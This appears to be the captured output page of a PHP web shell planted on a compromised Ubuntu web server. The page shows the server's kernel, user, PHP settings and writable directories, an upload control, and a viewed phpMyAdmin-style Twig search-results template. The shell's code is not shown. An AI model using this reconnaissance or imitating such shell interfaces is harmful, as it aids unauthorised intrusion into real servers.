KUNTUL | JINGKONTOT
JINGKONTOT


Server : Apache/2.4.41 (Ubuntu)
System : Linux journalup 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/phpwinfx/templates/database/search/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/phpwinfx/templates/database/search/results.twig
<table class="data">
    <caption class="tblHeaders">
        {{ 'Search results for "<em>%s</em>" %s:'|format(
            criteria_search_string,
            search_type_description
        )|raw }}
    </caption>
    {% for row in rows %}
        <tr class="noclick">
            <td>
                {% set result_message %}
                    {% trans %}
                        %1$s match in <strong>%2$s</strong>
                    {% plural row.result_count %}
                        %1$s matches in <strong>%2$s</strong>
                    {% endtrans %}
                {% endset %}
                {{ result_message|format(row.result_count, row.table)|raw }}
            </td>
            {% if row.result_count > 0 %}
                {% set url_params = {
                    'db': db,
                    'table': row.table,
                    'goto': 'db_sql.php',
                    'pos': 0,
                    'is_js_confirmed': 0
                } %}
                <td>
                    <a name="browse_search"
                        class="ajax browse_results"
                        href="sql.php{{ Url_getCommon(url_params) }}"
                        data-browse-sql="{{ row.new_search_sqls.select_columns }}"
                        data-table-name="{{ row.table }}">
                        {% trans 'Browse' %}
                    </a>
                </td>
                <td>
                    <a name="delete_search"
                        class="ajax delete_results"
                        href="sql.php{{ Url_getCommon(url_params) }}"
                        data-delete-sql="{{ row.new_search_sqls.delete }}"
                        data-table-name="{{ row.table }}">
                        {% trans 'Delete' %}
                    </a>
                </td>
            {% else %}
                <td></td>
                <td></td>
            {% endif %}
        </tr>
    {% endfor %}
</table>

{% if criteria_tables|length > 1 %}
    <p>
        {% trans %}
            <strong>Total:</strong> <em>{{ count }}</em> match
        {% plural result_total %}
            <strong>Total:</strong> <em>{{ count }}</em> matches
        {% endtrans %}
    </p>
{% endif %}

KUNTUL | JINGKONTOT |